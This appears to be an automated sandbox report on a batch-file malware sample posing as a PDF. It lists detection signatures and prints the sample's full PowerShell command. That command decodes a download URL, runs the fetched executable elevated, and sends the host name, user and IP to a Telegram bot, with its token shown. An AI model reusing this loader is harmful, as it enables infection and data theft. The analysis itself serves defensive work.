Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
28/07/2026, 18:25
General
- Target ccf209g82026-pdf.bat
- Size 1KB
- Sample260728-w22dqstyhs
- SHA256 9e48a0163f2f4f4dba5d24f484fd97974473f44dd14596c036bdffa7cc0702b6
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ccf209g82026-pdf.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$s='104116116112115058047047115111102116119097114101099100110046110101116047100111119110108111097100115047099099102050048057103056050048050054045112100102095102056050048100051098054046101120101';$bytes=@();for($i=0;$i -lt $s.Length;$i+=3){$bytes+=[byte]($s.Substring($i,3))};$u=[System.Text.Encoding]::ASCII.GetString($bytes);$f=$env:TEMP+'\ccf209g82026-pdf.exe';$ProgressPreference='SilentlyContinue';Invoke-WebRequest -Uri $u -OutFile $f -UseBasicParsing;$p=New-Object System.Diagnostics.ProcessStartInfo $f;$p.Verb='runas';$p.UseShellExecute=$true;$proc=[System.Diagnostics.Process]::Start($p);$proc.WaitForExit();Remove-Item $f -Force -ErrorAction SilentlyContinue;$token='7654849897:AAETyJY2l6g3S32CtutILu4yBmKaHmK4_0Y';$chat='5936760302';$pc=$env:COMPUTERNAME;$user=$env:USERNAME;$ip=(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content.Trim();$msg=[uri]::EscapeDataString('UAC Approved'+[char]10+'PC: '+$pc+[char]10+'User: '+$user+[char]10+'IP: '+$ip);Invoke-WebRequest -Uri ('https://api.telegram.org/bot'+$token+'/sendMessage?chat_id='+$chat+'&text='+$msg) -UseBasicParsing|Out-Null"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/4128-0-0x00007FFEE529F000-0x00007FFEE52A0000-memory.dmp
memory/4128-1-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-4-0x00000196F68B0000-0x00000196F68D2000-memory.dmp
memory/4128-5-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-6-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-7-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-8-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-9-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-10-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-11-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-12-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-13-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-14-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-16-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-17-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-18-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp
memory/4128-21-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp